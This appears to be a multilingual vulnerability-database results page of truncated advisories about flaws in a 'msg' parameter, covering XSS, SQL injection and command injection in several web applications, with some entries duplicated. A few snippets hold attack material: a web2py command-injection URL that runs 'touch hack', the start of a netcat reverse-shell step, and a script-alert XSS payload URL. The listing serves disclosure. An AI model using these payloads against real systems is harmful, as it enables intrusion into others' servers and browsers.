CVE-2026-37272

CVE-2026-37272 CVE-2026-37272 説明 Bank Management System in Web 1.0 の /dashboard/settings.php に、反射型クロスサイトスクリプティング（XSS）の脆弱性が存在します。この脆弱性は、msg GET パラメータにおけるユーザー入力のサニタイズ処理が不適切であるために発生します。攻撃者は、ページが読み込まれた際に被害者のブラウザで実行される JavaScript コードを含む悪意のある URL を作成できます。 追加情報 この脆弱性は、アプリケーションが msg パラメータを適切な出力エンコーディングなし...

CVE-2023-45158

CVE-2023-45158 手順 1. Webサーバーを起動します root@kitploit: cd web2py python3 web2py.py 2. URL http://:8000/hack?msg=%27%3B%3B%27 を使用してコマンドを注入します。 と を各自の値に置き換えてください。 使用例 1. サーバー上にファイルを作成します http://:8000/hack?msg=%27%3Btouch%20hack%3B%27 2. リバースシェル 攻撃者のマシンで nc -l 127.0.0.1 8080 を実行します URL...

CVE-2025-69606-GSVoIP-XSS

CVE-2025-69606 — GSVoIP 웹 패널의 반사형 XSS 심각도: 중간 | CWE: CWE-79 | 인증 필요: 아니요 | 벡터: 원격 요약 GSVoIP 웹 패널v2.0.90에서 반사형 XSSReflected Cross‑Site Scripting 취약점이 발견되었습니다. 오류 엔드포인트의 msg 매개변수는 사용자 제어 입력을 HTML 응답에 반영하기 전에 정화sanitize하지 않아, 피해자 브라우저에서 임의의 JavaScript가 실행될 수 있습니다. 영향을 받는 제품...

CVE-2022-46104---POC

CVE-2022-46104 https://www.sourcecodester.com/ XSS が Human Resource Management System プロジェクトの loginn.php ページで発見されました: 実行ペイロード: http://localhost/hrm/loginn.php?msg=%3Cscript%3Ealert%27XSS%27%3C/script%3E...

CVE-2021-42663

CVE-2021-42663 CVE-2021-42662 - 온라인 이벤트 부킹 및 예약 시스템 버전 2.3.0의 HTML 인젝션 취약점. 기술 설명: 온라인 이벤트 부킹 및 예약 시스템 버전 2.3.0에는 HTML 인젝션 취약점이 존재합니다. 공격자는 이 취약점을 악용하여 웹사이트에 표시되는 내용을 변경할 수 있습니다. 대상 사용자가 특정 링크를 클릭하면 공격자가 선택한 HTML 코드의 내용이 표시됩니다. 영향을 받는 구성 요소 - 취약한 페이지 - index.php 취약한 매개변수 - "msg" 악용 단계: 1...

CVE-2023-46015-Code-Projects-Blood-Bank-1.0-Reflected-Cross-Site-Scripting-Vulnerability

CVE-2023-46015-Code-Projects-Blood-Bank-1.0-反射型クロスサイトスクリプティング脆弱性 エクスプロイト作成者: ersinerenler ベンダーホームページ https://code-projects.org/blood-bank-in-php-with-source-code ソフトウェアリンク https://download-media.code-projects.org/2020/11/BloodBankInPHPWithSourcecode.zip 概要 Code-Projects Blood Bank V1.0 は、index.ph...

CVE-2026-87926

CVE-2026-87926 affects the Rizwan17 inventory-management-system (GitHub project), up to commit bfe78a330d01bb26b9daec5dc9ecd5c77900e03f . The vulnerability is a cross-site scripting (XSS) flaw in the Login Page component, specifically in the file index.php . Manipulation of the msg argument allow...

CVE-2026-6161

A vulnerability was determined in code-projects Simple ChatBox up to 1.0. This affects an unknown part of the file /chatbox/insert.php of the component Endpoint. Executing a manipulation of the argument msg can lead to sql injection. It is possible to launch the attack remotely. The exploit has...

CVE-2026-10607

The vulnerability CVE-2026-10607 affects DedeCMS 5.7.88. The issue resides in the function dede_htmlspecialchars in /plus/flink.php, where manipulation of the msg argument leads to an SQL injection. Attacks can be remote, and exploitation is publicly available. Impact is described as potentially ...

CVE-2026-10607

A vulnerability was identified in DedeCMS 5.7.88. The impacted element is the function dedehtmlspecialchars of the file /plus/flink.php. The manipulation of the argument msg leads to sql injection. The attack may be initiated remotely. The exploit is publicly available and might be used...

PT-2026-45818

Name of the Vulnerable Software and Affected Versions DedeCMS version 5.7.88 Description A remote SQL injection is possible through the manipulation of the msg argument within the dede htmlspecialchars function located in the '/plus/flink.php' file. Recommendations As a temporary workaround,...

DesDev DedeCMS SQL注入漏洞

DesDev DedeCMS is an open-source content management system CMS developed by DesDev Corporation, based on PHP. This system offers functions such as content publishing, content management, content editing, and content retrieval. Version 5.7.88 of DesDev DedeCMS contains a SQL injection vulnerabilit...

CVE-2026-48695: Improper Neutralization of Special Elements used in an OS Command

FastNetMon Community Edition through 1.2.9 contains an OS command injection vulnerability in the MikroTik router integration plugin. The log function in src/mikrotikplugin/fastnetmonmikrotik.php lines 107-108 constructs shell commands by concatenating the $msg parameter directly into exec calls:...

CVE-2026-9413

A vulnerability was identified in SourceCodester Indian Invoicing System 1.0. The affected element is an unknown function of the file /Invoicing/category.php. The manipulation of the argument msg leads to cross site scripting. The attack may be initiated remotely. The exploit is publicly availabl...

CVE-2026-9413 SourceCodester Indian Invoicing System category.php cross site scripting

A vulnerability was identified in SourceCodester Indian Invoicing System 1.0. The affected element is an unknown function of the file /Invoicing/category.php. The manipulation of the argument msg leads to cross site scripting. The attack may be initiated remotely. The exploit is publicly availabl...

CVE-2026-9413

SourceCodester Indian Invoicing System 1.0 is affected by a cross-site scripting (XSS) flaw in the /Invoicing/category.php file. The vulnerability stems from manipulation of the message parameter (msg) that enables remote execution of an attacker-supplied script. Public exploit code exists. No re...

CVE-2025-69606

Cross-Site Scripting XSS vulnerability was discovered in the GSVoIP web panel version 2.0.90. The msg parameter in the /painel/gateways.php/error endpoint does not properly sanitize user-supplied input, allowing attackers to inject arbitrary JavaScript into the HTML response. A remote attacker ca...

CVE-2025-69606

Cross-Site Scripting XSS vulnerability was discovered in the GSVoIP web panel version 2.0.90. The msg parameter in the /painel/gateways.php/error endpoint does not properly sanitize user-supplied input, allowing attackers to inject arbitrary JavaScript into the HTML response. A remote attacker ca...

CVE-2025-69606

Cross-Site Scripting XSS vulnerability was discovered in the GSVoIP web panel version 2.0.90. The msg parameter in the /painel/gateways.php/error endpoint does not properly sanitize user-supplied input, allowing attackers to inject arbitrary JavaScript into the HTML response. A remote attacker ca...

CVE-2025-69606: Improper Neutralization of Input During Web Page Generation

Cross-Site Scripting XSS vulnerability was discovered in the GSVoIP web panel version 2.0.90. The msg parameter in the /painel/gateways.php/error endpoint does not properly sanitize user-supplied input, allowing attackers to inject arbitrary JavaScript into the HTML response. A remote attacker ca...